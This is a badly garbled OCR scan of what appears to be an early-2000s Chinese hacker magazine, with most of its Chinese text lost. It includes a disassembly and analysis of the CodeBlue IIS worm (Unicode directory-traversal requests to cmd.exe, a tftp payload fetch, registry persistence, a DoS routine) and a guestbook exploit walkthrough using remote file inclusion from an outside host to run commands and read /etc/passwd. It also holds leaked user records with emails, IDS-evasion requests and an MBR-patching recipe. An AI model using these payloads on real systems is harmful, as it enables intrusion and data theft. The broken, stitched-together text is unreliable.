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1 tftp

.text:00401000
.text:00401001
.text:00401003
.text:00401009
.text:0040100F
.text:00401010
.text:00401011
.text:00401016
.text:0040101C
.text:0040101E
.text:0040101F
.text:00401020
.text:00401025

__beginthread

.text:004011AF
.text:004011B0
.text:004011B5
.text:004011B7
.text:004011B8
.text:004011BA
.text:004011BF
.text:004011C5
.text:004011C8
.text:004011CC
.text:004011D0
.text:004011D2
.text:00401204

.text:00401207

.text:00401208

.text:00401209

.text:0040120C
.text:0040120E

tftp tftp UDP
UNICODE
push ebp
mov ebp, esp
sub esp, 1ACh
lea eax, [ebptWSAData)
push edi
push eax ; IPWSAData
push 202h ; wVersionRequested
call dsWSAStartup ; Winsock DLL
xor edi, edi
push edi ;int
push edi ; dwStackSize
push offset sub_4011A1 ; int
call __beginthread ; tftp
WSA Startup Winsock DLL
sub_4011A1 tftp
CreateFileA() C:httpext.dll

push edi ; hTemplateFile
push 80h ; dwFlagsAndAttributes
push 3 ; dwCreationDisposition
push edi ; IpSecurityAttributes
push 1 ; dwShareMode
push 80000000h ; dwDesiredAccess
push IpFileName ; IpFileName
mov [ebptvar_10], edi
mov [ebptvar_9], 1
mov [ebptvar_1], 4
xor esi, es
call ds.CreateFileA ; C:httpext.dil
lea eax, [ebpt+NumberOfBytesRead)]
push edi ; IpOverlapped
push eax ; IpPNumberOfBytesRead
mov eax, [ebpt+var_14]
sub eax, es
push eax ; NNumberOf BytesToRead



HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RU

N

A

rm gl

.Kh

.text:0040120F mov
.text:00401212 add
.text:00401214 push
.text:00401215 push
.text:00401216 cal

socket()  bind() UDP
.text:0040122B push
.text:0040122D push
.text:0040122F push
.text:00401231 cal

recvfrom()
httpext.dll
.text:004012C0 lea
.text:004012C3 push
.text:004012C4 lea
.text:004012C7 push
.text:004012C8 push
.text:004012C9 lea
.text:004012CF push
.text:004012D4 push
.text:004012D5 push
.text:004012D6 cal
tftp
tftp httpext.dil
2
CodeBlue d.vbs
Global AddAtomA

.text:0040113C push
.text:0040113D push
.text:0040113E push
.text:00401143 call

Domain Manager
C:\svchost.exe

.text:00401430 lea
.text:00401433 push
.text:00401434 push

eax, [ebp+var_1C]

eax, esi
eax ; IpBuffer
ebx : hFile
ds:ReadFile ;  C:\httpext.dil
69 tftp
11h ; protocol
2 ; type
2 ; af
ds:socket
69 UDP
512
eax, [ebp+tolen]
eax ; fromlen
eax, [ebp+to]
eax ; from
edi ; flags
eax, [ebp+buf]
400h ;len
eax ; buf
€S ;'S
ds.recvfrom
tftp httpext.dil
tftp
inetinfo.exe IS
“ CodeBlue’
esi
edi
offset aCodeblue ; IpString
ds:GlobalAddAtomA

C:\svchost.exe

eax, [ebp+dwDisposition]
edi

eax ; IpdwDisposition
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.text:00401435
.text:00401438
.text:0040143A
.text:0040143B
.text:0040143C
.text:00401441
.text:00401442
.text:00401443
.text:00401444
.text:00401449
.text:0040144E
.text:00401455
.text:0040145B
.text:00401460
.text:00401461
.text:00401466
.text:00401467
.text:00401468
.text:00401469
.text:0040146B
.text:0040146C
.text:00401471
.text:00401474
.text:0040147A
.text:0040147D

.text:00401483
.text:00401485
.text:00401486
.text:0040148C
.text:0040148E

.text:00401490
.text:00401496
.text:00401498

.text:0040149A
.text:0040149F

d.vbs

lea
xor
push
push
push
push
push
push
push
push
mov
call
mov
push
call
pop
push
push
push
push
push
push
cal
push
call
C\ svchost.exe

push
push
mov
call

push

push
call
push

push
call

VBScript

eax, [ebp+hKey]

edi, edi

eax ; phkResult

edi ; IpSecurityAttributes
OFO003Fh ; samDesired

edi ; dwOptions

edi ; IpClass

edi ; Reserved

offset aSoftwareMicros ; [pSubKey
80000002h ; hKey
[ebp+dwDisposition], 2
ds:RegCreateKeyExXA
esi, offset aCSvchost_exe ; "C:\\svchost.exe"
€si

_strlen
€cx
eax ; cbData
es ; IpData
1 ; dwType
edi ; Reserved
offset aDbomainManager ; IpValueName
[ebp+hKey] ; hKey
ds:RegSetValueEXA;
[ebp+hKey] ; hKey
ds:RegCloseKey
httpext.dl
6 ; dwFileAttributes
es ; IpFileName

esi, ds.SetFileAttributesA
esi ; SetFileAttributesA
6 ; dwFileAttributes

IpFileName ; IpFileName
es ; SetFileAttributesA
6 ; dwFileAttributes

offset aClnetpubScript ; IpFileName
es ; SetFileAttributesA
C d.vbs

Dim WebService,vList,item,vFound,vSubDan,Danger,vNewCount,FoundString
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rm sl

Function FindMapper(Str1,Str2)
FindMapper=false
If InStr(Str2,Str1)<>0 Then
FoundString=FoundString & "Found "& Str1 &" 1" & Chr(13) & Chr(10)
FindMapper=true
End If
End Function
Function DelMapper(WebService)
Danger=Array(".ida","
vNewCount=0
vList=WebService.GetEx(" ScriptMaps")
For Eachitemin vList
vFound=false
For Each vSubDan in Danger
If FindMapper(vSubDan,item)=true Then
vFound=true
Exit For
End If
Next
If vFound=false Then
vNewCount=vNewCount + 1
ReDim Preserve vNew(vNewCount)
vNew(vNewCount-1)=item
End if
Next
WebService.PutEx 2,"ScriptMaps',vNew
WebService.SetInfo
End Function
Set WebService=GetObject("11S://LocaHost/W3SVC")
DelMapper(WebService)
Set WebService=GetObject("11S://Loca Host/W3SV C/1")
DelMapper(WebService)
Set WebService=GetObject("11S://Loca Host/W3SV C/1/Root")
DelMapper(WebService)
WebService ScriptMaps s
IIS .ida .idg .printer
“ " .idg “ ”

adg",".printer")

GetVersionExA()
4 inetinfo.exe
.text:0040168B push [ebp+dwProcessld] ; dwProcessld
.text:0040168E push edi ; binheritHandle
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.text:0040168F
.text:00401694
.text:0040169A
.text:0040169D
.text:0040169F
.text:004016A1
.text:004016A2
.text:004016A3
3

.text:00401928
.text:0040192E
.text:00401933
.text:00401934
.text:0040193A
.text:00401940
.text:00401941

GetSystemTime()

1

.text:004019CE
.text:004019D4
.text:004019D5
.text:004019DB
.text:004019E2
.text:004019E5
.text:004019E7
.text:004019EE
.text:004019F1
.text:004019F3

IP
50%

10

push 1FOFFFh ; dwDesiredAccess
call ds.OpenProcess inetinfo.exe
mov [ebptvar_24], eax

cmp eaX, edi

jz short loc_4016B0

push esi ; UEXitCode

push eax ; hProcess

call ds:TerminateProcess
100
gethostbyname() IP

lea eax, [ebptname]

push 100h ; hamelen

push eax ; name

call ds.gethostname ;

lea eax, [ebptname]

push eax ; name

call ds.gethostbyname ; IP

lea eax, [ebptSystemTime]

push eax ; IpSystemTime
call ds.GetSystemTime ;

movzx  eaX, [ebpt+SystemTimewHour]

cmp eax, OAh

jle short loc_4019F8

movzx  eaX, [ebpt+SystemTime.wHour]

cmp eax, OBh

jge short loc_4019F8

call sub_401820 ; 10

11
IP 2 Ox7E 127 IP
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IP IP 80
“ HEAD/HTTP/1.0" “S
IS

scripts
msadc
iisadmin
_vti_hin
iissamples
iishelp
webpub
UNICODE

%255¢C
%c1%1c
%c0%2f
%c0%oaf
%c1%9c
%%35%63
%%35¢
%25%35%63
%252f

UNICODE

GET/ /.. . . . . Jwinnt/system32/cmd.exe?/c+dir
scripts %255¢

GET /scripts/..%255¢..%6255¢..%255¢..%255¢..%255c¢. ./winnt/system32/cmd.exe?/c+dir

dir
“ 200 OK”
“ 200 OK”
IP IP
UNICODE
tftp -i IP get httpext.dil CA httpext.dll
tftp tftp
tftp C:\httpext.dll
UNICODE copy httpext.dll c:\
httpext.dl| CA

“ GET/ /httpext.dil”
httpext.dll “ CodeBlue”
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IP
4 httpext.dil
httpext.dll svchost.exe IS s
ISAPI IUSR_NAME httpext.dl ISAPI
SYSTEM
httpext.dl svchost.exe httpext.dl|
httpext.dll svchost.exe CA svchost.exe
“ CodeBlue”
httpext.dll IS ISAPI
SYSTEM
5
.text:00401842 mov word ptr [esp+10h], 2
.text:00401849 push offset 8211 99 196 135; cp
.text:0040184E call ds.inet_addr
IP 211.99.196.135 socket
80
.text:00401867 push edi ; protocol
.text:00401868 push 1 ; type
.text:0040186A push 2 ;af
.text:0040186C call ds:socket
.text:00401898 lea eax, [esp+28h+name]
.text:0040189C push 10h ; hamelen
.text:0040189E push eax ; hame
.text:0040189F push es ;'S
.text:004018A0 call ds:connect
“ GET /main.php?’ 0x4800 ‘A
.text:00401820 mov eax, 4810h
.text:00401825 call __dloca_probe ;
.text:0040182A push ebx
.text:0040182B push ebp
.text:0040182C push es
.text:0040182D push edi
.text:0040182E push 4800h
.text:00401833 lea eax, [esp+ldh+arg C
.text:00401837 push 41h ; ‘Al
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S
.text:00401839 push eax
.text:0040183A call _memset ; 0x4800
.text:004018C5 push OEh ; len
.text:004018C7 push offset aGetMain_php? ;“ GET /main.php?”’
.text:004018CC push esi ;'S
.text:004018CD call edi ; send()
.text:004018CF push 0 ; flags
.text:004018D1 lea eaX, [esp+4Ch+buf]
.text:004018D5 push 4800h ; len
.text:004018DA push eax ; buf
.text:004018DB push es ;'S
.text:004018DC call edi; send() 0x4800 ‘Al
.text:004018DE push 0 ; flags
.text:004018E0 push offset aHttpl 1Acceptl ;
.text:004018F1 push es ;S
.text:004018F2 call edi ; send()

D.o0.S
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/analysist
RedHat Linux v7.1
http://www.notfound.org
Web Apachev1.3.20
Web
Cal

CGl
ExGB GuestBook

ExGB GuestBook

ExGB GuestBook
http://v7.51.net/expl oites/gbook 1. txt
ExGB GuestBook
http://v7.51.net/exploites/gbook2.txt
ExGB GuestBook “ .php”
http://v7.51.net/expl oites/gbook3.txt

http://www.notfound.org/gbook/data/user.list

820
medana|!:! [cctv! ;! medana@163.net|! ;! |http://souce.myrice.com|!:!|xing xing liu yan
23423432|' 11111111 @sina.com|! ! |http://333.com|!:! |

10


http://v7.51.net/exploites/gbook2.txt

S

stzzx|!:!|sohu.com|!:![honker2003@21cn.com|!:!|http://stzzx.k666.com|!:!|

jiayk|!:!kingshah|!:!ni 13@china.com|!:!|http://fool gqg.myetang.com|!:!|

800
CGl CGl
lisigh

#!/usr/bin/perl
#thistool is designed by analysist
#welcome to visit http://www.chinadlert.org
$SARGC=@ARGV,;
if JARGC !=1){
print "Usage: $0 <datafile> n";
exit(1);
}
$datafile=shift;
if (!(-e$datafile)) {
print "File not found! n";
}
$user="user.db";
$pass="pass.db”;
if (-e$user) {
unlink $user;
}
if (-e$pass) {
unlink $pass;
}
open (DATA $datafile);
open (USER,">>$user");
open (PASS,">>$pass");
while ($line=<DATA>) {
if ($line=~/ |11 )H{
@data=split(/ |:! |/, Bline);
print USER $data 0 ." n";
print PASS$data 1 .* n";

1
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http://www.notfound.org/gbook/index.php?action=reg& hame=test& password1=%24pass& p
assword2=%24pass& email =test @test.org& home=http%3A %2F%2Fwww.test.org& title=%24
pass& ubb=1& html=1& page=5& up=header& down=footer& regsub=%CC%E1%B D%BB%C9%E
A%C7%EB  haha IE “ iloveu”
/Ipuke

ExGB GuestBook “ .php”
Web Server “ .php”

“ inc/config.php”

<?7php
$langdir=".";
$langfile="cn.php";

“ forum.php”
<?php
reguire("inc/config.php™);
include($langdir."/" . $langfile);

http://www.notfound.org/gbook/index.php?action=reg& name=../../forun/inc/config& p
assword1=%24pass& password2=%24pass& email=test@test.org& home=http%3A %2F%2Fw
ww.tes
t.org& title=%24pass& ubb=1& html=1& page=5& up=header& down=footer& regsub=%CC%E
1%BD%B
BY%CO%EA%C7%EB
“ Jinc/config.php”

<?php
$title=" "
$pass="test";
$home="http://www.test.org";
$email="test@test.org";

12



$admin page ="5";
$admin ubb ="1";
$admin  html ="1";

$up="header";
$down="footer";
>
“inc/config.php” Web Server
Web Server
“ config.dat”
“ [etc/passwd”

http://www.notfound.org/forum/forum.php?angdir=/etc& langfile=passwd

root:x:0:0:root:/root:/bin/bash

bin:x:1:1:bin:/bin:

daemon:x:2:2:daemon:/shin:

adm:x:3:4:adm:/var/adm:

sync:x:5:0:sync:/shin:/bin/sync

shutdown:x:6:0:shutdown:/shin:/shin/shutdown
halt:x:7:0:halt:/shin:/shin/halt
mail:x:8:12:mail:/var/spool/mail:
operator:x:11:0:0perator:/root:
httpd:x:80:80:HTTPD user:/home/httpd:
kiosk:x:90:90:Airforce Kiosk account:/home/kiosk:/bin/bash
nobody:x:99:99:Nobody:/tmp:
roadshow:x:95:95::/home/roadshow:/bin/bash
airforce:x:91:91::/home/airforce:/bin/bash
afleads:x:92:92::/home/afl eads:/bin/bash +:::::

http://www.notfound.org/forum/forum.php? angdir=http://www.hacker.com& langfile=c
md.php
11:28am up 6 days, 20:37, 5users, load average: 1.00, 1.00, 1.00

USER TTY FROM LOGIN@ IDLE JCPU PCPU
WHAT
“ http://www.hacker.com/” “ cmd.php”
<?php
passthru(*w");
>
www.hacker.com PHP

13



http://www.securereality.com.au/sradv00006.txt
root

Sendmail
/etc/passwd
showmount
Showmount

14



UNIX

UNIX

sendmail

UNIX

UNIX

ftp
finger

boot — s

guest
ruser

CPU
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1.

_ .rhosts .netrc
/etc/hosts
DNS DNS Internet
2.
ID
finger ruser

Finger

liwrml@safeunion $ finger @taget.host

[ *kk kkk kkk kkk ]

Login Name TTY Idle When Where
liwrml Distributed Shared M console 2 8 tue 12:19 another.host
**k* . **k%k . *** . **k*k target . host I P
NT
NIS RLOGIN/RSH
NFS
UNIX SUID root
3.
Internet 24
Internet

16
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UNIX UNIX

x1=0 x==0
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m.lﬁ& K CASE
£ bz A

UNIX UNIX uID

0 root MAXUPROC
PS KILL

UNIX

root
UNIX
init SIGTERM UNIX
sync
CPU
find grep
nice at

Du

find size
Unix inode

inode

df
df — 1 inode
inode
UNIX
“ NO

18



space”

SVR4  Sun0S

[liwrml@safeunion /root]# /bin/df — Itk

File system kbytes used avail capacity

Mounted on

/dev/dsk/c0t3d0s0 95359 80289 8505 91%
/

/dev/dsk/c0t2d0s0 1964982 1048379 720113 59%
/user3

/dev/dsk/c0t2d0s6 1446222 162515 1139087 23%
/user4
[liwrml@safeunion /root]#

/user4 Solaris
50M

[liwrml@safeunion /root]# mkfile 50m /user4/jfile

[liwrml@safeunion /root]# swap — a /userd/jfile
Sun0S

[liwrml@safeunion /root]# mkfile 50m /user4/jfile

[liwrml@safeunion /root]# swapon/usr/jfile

vfstab
UNIX
/tmp /tmp
, /tmp vi  mail
/tmp
® quota quota 40%
[
[

[liwrml@safeunion /root]# find /tmp — mtime +5 =print]| xargs rm — rf
crontab

19
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SYN-Flooding

NIS
NIS

UNIX TCP/IP
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ping

echo

NIS

NIS

echo

TCP



TCP TCP

IP
SYN-Flooding
IP
1P
SYN-ACK
SYN-ACK
WindowsNT
TCP/1P SYN-RECEIVED
SYN-Flooding
Microsoft NT4.0
UDP FTP
chargen SYN-Flooding

1P

SYN

UDP

Server Pack

echo

21



Red Spider

Windows 95/98/NT

TCP/IP

22

1999

38

1.39M

EASY mailto:yiss@163.net

TCP/IP Windows95/98/NT
Windows95/98/NT4
Setup.exe
2
” 3
5
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DirectX Media

NT4

QUARTZ.DLL DirectX Media
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VCD/MPEG/AVI/WAV/MOV

v3.8

Alt+F12
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CAPSLOCK
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“ MICct 10

MEEXRET “nc” TUAFRE [ -|—
10
VCD/AVI/WAV/MPEG/MQOV
10M
/ /
(=) FlEgRER 11
VCD AVI/WAV/MPEG/MQV
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HACKER TONDLS  ree»

sockerr.log
13 ” 113 ” a EEEW
13 ” TCP
13 ” I P
13 A.H
IP “ N
1-4
“ 8 Win9Xx
" 007 ( 14
Ctrl+Break Ctrl+Break
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HACKER TOOLS

Alt+F Ctrl+Esc

Ctrl  Shift
TELEEL

|l LTI T 0 SR P |
v Hia | b TR T
= Fherd wdefiep plig-ln airrelary bags
+ Flerd e@-reglatrablan prihbes.
w Fieed [H§S sppart
v Fierd & Fre 3msdl e

u e A8 wlosng 3.0
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Alt+F1

15
Esc

Fx Bl e

15

"EXN

M _EEE

Alt+F2
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Coimes

[ L] ”ow

HACKER TOOLS

Windows

WORD
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“ WORD”

WORD
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CAPSLOCK
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Alt+Tab

Ctrl+Break

™ Hk: 1 assas
H:I'HEZIEE
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HACKER TOOLS
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RS_MONITOR_INDICATOR

ETAEET
RRECBREEET AR 1 i
ST T T ¢ E

21

RS_EXPRESS _TRANSFER

ok~ wDdPE

- Ctrl+Break
- Alt+F12 “ ”
- Alt+F2
- Alt+F1
- Esc

Alt+F11
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HACKER TOOLS 7+

- Ctrl
- CAPS LOCK

“ ” “ ”

RB#wess runaCTERM®

- '
Internet BBS
Internet BBS
BBS
Cterm BBS Clever Termina
Clever Termina
BBS BBS
BBS
Telnet Cterm Telnet Cterm
BBS
MUD
Cterm
Cterm 2000 1.26M

CtermSetup.exe
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1
Cterm
Cterm 2
Netterm
IP BBS 23 MUD
Cterm
Cterm
C n bbs n
usernamen
Cterm “
v (sl (TR (P BHEE -
[ - [ # B TR E e L
2
MUD
Cterm

MUD
Cterm
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nn “ 1111111
“ BBS” 1 ”

wingate bbs.whnet.edu.cn

L

bt rtl: prrad. emm [l I‘.‘S
e EL'-H““'-I.'-E 1 E] II;
R g MR iR Do

Login:Guest<Enterr>
Wingate>bbs.whnet.edu.cn<Enter>
Connecting 202.112.20.132............. <
Unix ...

L ogin:bbs<Enterr>

guest nbbswhnet.edu.cn n pbbs n

BBS

Shift+1 ¢

Cterm Pgup,Pgdown
4
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BBS
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>
(
Cterm
Home,End
F2
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BBS’

Shift
Shift+Del
Del
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2 Cterm

Cterm

ABCDEF
6

Cterm

3 Cterm
BBS
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HACKER TONDLS  ree»

Shift

Shift BBS
Ctrl+P X
BIG5
Cterm F3 “ "
BUG )
(*.txt) (*.idx)
, BBS txt
BBS 113 ”
80 BBS
CTerm 80
BIG5 RICHWIN
CTERM “ v
BIG5 BBS BIG5
CTERM GB BIG5
CTerm E_mail
" U RL ki) 13 kil
IE
CTerm BBS
BBS
4 Cterm
Cterm

Pgup,Pgdown End,Home,Del

Insert Lo ESC

Cterm BBS

“ ? WORD
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5 Cterm
MUD

CTerm

ZMUD
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6 Cterm

@

»

ANS|
Shift
MUD

0

10

11
12

7 Cterm

(7?)

(7?)

HACKER TOOLS

80
MODEM
MUD
CTerm MUD MUD
" M UD ” " ” 13
13 M UD ”
MUD
Cterm
Telnet
Cterm 9
80 WORD
BBS80
BBS
Shift 3
( Netterm),
TCP " TCP " ! '

(*.txt) Cterm o

- M(m)  N(n)
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HACKER TOOLS 7+

M,N M
N ¢
(MN) | n
" abc " " (MN)abc|r I n
(MN)R Ir n
, "Cterm" , (NM)Cterm|
"Cterm"!
a 50 )
b
o w'
d )
e bug
Cterm
;Thisisaexample
; : abcd
(M?) Message (N?)
; "abed "
: oy e
; . abcd
() : (M)
N , "Cterm"
(MN)abcd |r n
2
UUencode  UUdecode BBS Cterm
UUencode
BIN->TXT
BBS Cterm 300 BBS
8 Cterm
1 Cterm ?
, Telnet , 23,
Cterm ,
2
Enter  Ctrl+Enter
3 Home,End
Cterm  Insert,Home,Pgup,Del,End,Pgdown BBS
4 Cterm BBS
Cterm TCP/IP  Telnet
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ActiveX
VBScript ActiveX(R) ActiveX Script
ActiveX Script
ActiveX Script ,
Microsoft VBScript Microsoft
Internet ActiveX , ActiveX
Microsoft(R) Internet Explorer Microsoft(R) Internet Information Service
ASP(Active Server Pages) VBScript  JScritpt
ActiveX VBS
IP ,
1-

C: >ping www.microsoft.com
Pinging www.microsoft.akadns.net  207.46.197.101  with 32 bytes of data:
Reply from 207.46.197.101: bytes=32 time=460ms TTL=47
Reply from 207.46.197.101: bytes=32 time=421ms TTL=47
Reply from 207.46.197.101: bytes=32 time=511ms TTL=47
Reply from 207.46.197.101: bytes=32 time=521ms TTL=47
Ping statistics for 207.46.197.101:
Packets. Sent = 4, Received = 4, Lost = 0 (0% |oss),
Approximate round trip times in milli-seconds:
Minimum = 421ms, Maximum = 521ms, Average= 478ms
2-
IPChange.vbs(VBS ) 207.46.197.101 3475948901
IPChange.vbs :
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e S

itz .,
‘? i) :'Eﬂwlﬂrruuumi'- & -
| Windows BEESTIIEME.m t.‘ ] Z
L F-

3-

C: >ping 3475948901
Pinging 207.46.197.101 with 32 bytes of data:
Reply from 207.46.197.101: bytes=32 time=470ms TTL=47
Reply from 207.46.197.101: bytes=32 time=451ms TTL=47
Reply from 207.46.197.101: bytes=32 time=430ms TTL=47
Reply from 207.46.197.101: bytes=32 time=431ms TTL=47
Ping statistics for 207.46.197.101:
Packets: Sent = 4, Received = 4, Lost = 0 (0% |oss),
Approximate round trip times in milli-seconds:
Minimum = 430ms, Maximum = 470ms, Average= 445ms

? VBS vbs , ,
VBS IPChange.vbs 612
html VBScript
VBS , htm  html ILoveU
VBS htm ( htm)
html VBScript.
html VBScript ,
VBScript html SCRIPT VBScript HTML
VBScript <SCRIPT>

<SCRIPT LANGUAGE="VBScript">
<!--
Function CanDeliver(Dt)
CanDeliver = (CDate(Dt) - Now()) > 2

End Function
->
</SCRIPT>
<SCRIPT> LANGUAGE
, <Script
language="Javascript"> CanDeliver <I-- >



<SCRIPT>

HEA

D

<HTML>

<HEAD>

<TITLE> </TITLE>

<SCRIPT LANGUAGE="VBScript">

<I--
Function CanDéliver(Dt)

CanDeliver = (CDate(Dt) - Now()) > 2

End Function

->

</SCRIPT>

</HEAD>

<BODY>

SCRIPT HTML BODY HEAD

HEAD

BODY

( Xiangguan

1-VvB

<IN

script)
<HTML>
<HEAD>
<TITLE> </TITLE>
</HEAD>
<BODY>
<FORM NAME="Form1">
<INPUT TYPE="Button" NAME="Button1" VALUE=" ">
<SCRIPT FOR="Button1" EVENT="onClick" LANGUAGE="VBScript">
MsgBox " "
</SCRIPT>
</FORM>
</BODY>
</HTML>
Sub Function
VBScript SCRIPT HTML
Web
VBScript
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v B

PUT>
<INPUT NAME="Button1" TYPE="BUTTON"
VALUE=" " OnClick="MsgBox "Mirabile visu."">
MsgBox
()
<SCRIPT>

<SCRIPT LANGUAGE="VBScript" EVENT="OnClick" FOR="Button1">
<l--

MsgBox "Mirabile visu."

>
</SCRIPT>

<SCRIPT> Sub End Sub
VBScript

Visual Basic Scripting Edition

HTML
-'_I"-_o-"rﬁ,rﬁ{il 3-!!|r||| {
‘j. SN E

:'Eﬂwlﬂrruuumi'-
s Windows BEESTIEMNE2.m tﬁ '

Document.ValidForm.Text1

Set Document
ValidForm TheForm TheForm.Textl
Dim Set
VBScript
ActiveX(R) OLE Java(TM) Microsoft
Visual Basic Scripting Edition Microsoft(R) Internet Explorer
Internet Explorer Label
<OBJECT> <PARAM>
Visual Basic <PARAM> Visua Basic
<OBJECT> <PARAM> ActiveX Label
<OBJECT
classid="clsid:99B42120-6EC7-11CF-A6C7-00AAC0A47DD2"
id=IblActivelL bl
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width=250
height=250
align=left
hspace=20
vspace=0
>
<PARAM NAME="Angl€e" VALUE="90">
<PARAM NAME="Alignment" VALUE="4">
<PARAM NAME="BackStyle" VALUE="0">
<PARAM NAME="Caption" VALUE=" ">
<PARAM NAME="FontName" VALUE=" ">
<PARAM NAME="FontSize" VALUE="20">
<PARAM NAME="FontBold" VALUE="1">
<PARAM NAME="FrColor" VALUE="0">
</OBJECT>

<FORM NAME="LabelControls">
<INPUT TYPE="TEXT" NAME="txtNewText" class='9v'5>
<INPUT TYPE="BUTTON" NAME="cmdChangelt" VALUE="
<INPUT TYPE="BUTTON" NAME="cmdRotate" VALUE="
</FORM>
cmdChangelt

<SCRIPT LANGUAGE="VBScript">
<I--
Sub cmdChangelt_onClick

Dim TheForm

Set TheForm = Document.L abel Controls

IblActiveL bl.Caption = TheForm.txtNewText.Value
End Sub
>
</SCRIPT>

ActiveX Internet Explorer
(http://www.microsoft.com)

<FORM>

Microsoft(R) Web
CLSID

Internet Explorer 4.0 Author's Guide and HTML Reference

<OBJECT>
VBScript
WSH
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(11S)
11S 4.0

URL

1S MDAC

06:45:25 10.0.2.79 GET /msadc/ 302

EEZA

Red Hat Linux

1S

msadc

Chris Prosise and Saumil Udayan Shah
<Holey Project>

Apache
Apache 1.3.9 Windows NT 4.0
SSL-enabled

[root@localhost /root]# nc -n 10.0.2.55 80
GET /msadc HTTP/1.0

48

ASCI1

msadc ASCII 6D 73 61



64 63 Windows Charmap ASCI1-to-hex

[root@localhost]# nc -n 10.0.2.55 80
GET /%6D%73%61%64%63 HTTP/1.0

11S

07:10:39 10.0.2.31 GET /msadc/ 302

Apache
cal

[root@localhost]# nc -n 10.0.0.2 80
HEAD /cgi-bin/test-cgi HTTP/1.0

[root@localhost]# nc -n 10.0.0.2 80
HEAD /%63%67%69-bin/test-%63%67%69 HTTP/1.0

access_log

10.10.10.10 - - [18/0ct/2000:08:22:47 -0700] "HEAD /cgi-bin/test-cgi HTTP/1.0" 200

0

10.10.10.10 - - [18/0ct/2000:08:23:47 -0700] "HEAD /%63%67%69-bin/test-%63%67%69

HTTP/1.0" 200 O

200

URLs

IP

49



LT A P
o '_i & =

il &

Proxys-4

I P “ ”

[root@10.1.1.1 /]# nc -v 10.8.8.8 80
HEAD / HTTP/1.0

10.1.1.1 - - [18/0ct/2000:03:31:58 -0700] "HEAD / HTTP/1.0"™ 200 O

[root@10.1.1.1 /]# nc -v 216.234.161.83 80
HEAD http://10.8.8.8/ HTTP/1.0

216.234.161.83 - - [18/0ct/2000:03:39:29 -0700] "HEAD / HTTP/1.1" 200 O

1P (216.234.161.83, proxy.proxyspace.com) 1P (10.1.1.1)
1P

Windows
SocksChain
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SSL

SSL-enabled

URL

SSL

) CGl

1 CGl

CGlI  Common Gateway Interface

CGl
2 CaGl
CaGl
CGl
ASP JSP
Php  Perl CGl
3 Cal

CGl

443
443

CGl

CGl

Web

CaGl
CGl
CGl

80(HTTP) 443(HTTPS)

analysist

CGl Perl CGlI

Perl Php C VC++

CGl
CGl
CaGl
Web

CGl
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e
B
PR e in

Web CaGl
Web Web BUG
CGl
CGl CGl
Securityfocus CaGl
°
CGl CGl
CGl
113 XX ”
°
C CaGl
°
Session userid Cookie
°
DoS
CGl
°
13 %20” 113 X ./" " $‘H
113 |11 13 \t” 13 " 13 #H wL
S Cross-Site Scripting
°
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\n

“ bak”

CGl

Cal
Cookie CGI
Cal
Cal
CGil
Cal
Perl “ die’
13 1 011
Cal
CGl
Web
CGl

C Cal

C& ;TN\ |F?2~<>2(O)[1{}S\n\r\t\O#."
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| F1F3

31

BBS

CMOS

System Commander

MBR Master Boot Record

SC
root Linux
SC “ 0/S Access Menu”
Win98 Linux
Autologin Linux “ 0/S Access Menu”
Linux Administrator
SC “
SC
C
0S2
4 5 6 P
0 MBR DOS “ FDISK/MBR”
SC 0 Debug
MBR
MBR 0:7CO0H
MBR 206
MBR
C:\>debug
-a

1369:0100 mov ax,201
1369:0103 mov cx,1
1369:0106 mov dx,80
1369:0109 mov bx,200
1369:010C int 13
1369:010E int 20

MBR

/sinbad
post
SC SC
SC
0
SC
SC Win98  Linux
Win98
0 0 MBR 6
Syscmndr .sys
Boot Manager 3
5 Debug f
DOS
INT 19H



S i

1369:0110

-9

Program terminated normally
-d200

MBR 512 d 4

MBR
DOS

-u218

136A:0218 EA1D060000 JVMP
-a218

136A:0218 CALL 0000:06EQ
-a2e0

136A:02E0 MOV AH,0
136A:02E2 INT 16 (
136A:02E4 CMP AH,24 (
136A:02E7 JE 02EB (
136A:02E9 JMP 02E9 (
136A:02EB RET

136A:02EC

0000:061D

INT 13H MBR

Win95/98 MBR
2e0

DOS
MBR

FAT File Allocation Table

Win95

00
jmp Jmp
$
MBR (
)
)
)
)
206
Win95/98 DOS  MBR
0 2
DOS
RDT Root Directory Table
Win98
007
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S B i

Partition Magic
Partition Magic

MBR D
8 8 100M 800M
Win98  MBR
Winos E
MBR  1BEH  1FDH 64 4

16
0 (80h 00h )
1
2 3
4 (0B Win95 FAT32 06 DOS FAT16 05 DOS;)
5
6
8
C

DOS 05

00 00 41 31 05 3F FF FD CO C3 12 00 CO 1C 2C 00

2 3 3141H INT 13H
MBR 1BEH  1DDH

00 01 41 31 OB 3F BF 61 3F 00 00 00 81 C3 12 00
00 00 81 62 05 3F FF FD CO C3 12 00 00 59 19 00

6281H

00 01 81 62 0B 3F FF FD 3F 00 00 00 C1 58 19 00

00 00 00 00 0O 00 OO OO 0O 00 00 00 00 00 00 00

2 FAT32

DOS 8
8 DOS
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Partition Magic

HTML

-txt

txt

S i

.html

“ WELL-KNOW"

JPG

DOS
4 1B
1B DOS
00-FF
Partition Magic
/Crazybird
Crazybird
!
NotePad HTML HTML t~xt
IE IE
BBS
JavaScript
JPG JPG
"IE title"

57



f | - Lx; L,
xR

WEB

JS

™t

JS
MIME
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T

Internet

Mail

MS

txt
HTML

*_aaa

WEB
TXT  JPG
TXT ‘
HTML
-html
JS TXT
txt JPG
(
\xiangguan\MS -htm
IE(Internet Explorer)
HTML JAVASCRIPT Internet

html javascript txt

crazybird.51.net/look.txt

, crazybird.51.net/look.aaa

crazybird.51.net/test._txt

*_htm/*.html

*_html *txt

Crazybird
21/07/01



S i

Hi -
.txt IE
Scott
22/07/01
2. ,
Hi -
s -txt -Jpeg /.png s
HTML s
WORD IE 1E6
, -jpeg/.png/.txt
? 7 21 , _htm/_html ?
JS(JavaScript) VBS(VBScript),
THappyTime HTML , !
, )
JS “ HTML " http://crazybird.51.net/look.htm
?
Crazybird
22/07/01
Hi -
IE html html
html .txt IE -html
IE .txt .htm
.txt IE IE
Ltxt IE .txt
IE _txt
Regards,
Scott
22/07/01
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http://crazybird.51.net/look.htm

: | - : I"hl" wll#
5 O R i i

3.
tlE
JAVA
.txt 1 ,
IE .txt .htm
, HTML
JS VBS ,
?
1
Bye
I’ m Chinese!
Hi -
4.
JS

60

HTML
WEB

.Ixt
.Ixt

MS

Crazybird
22/07/01

23/07/01

IE
COOKIE?

VBS

Scott
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IE JS txt
txt JS VBS
WEB IE WEB .htm.exe.vbs
Crazybird
24/07/01
Hi
html .txt IE html
. Ixt
IE Jtxt IE
-Jpg IE
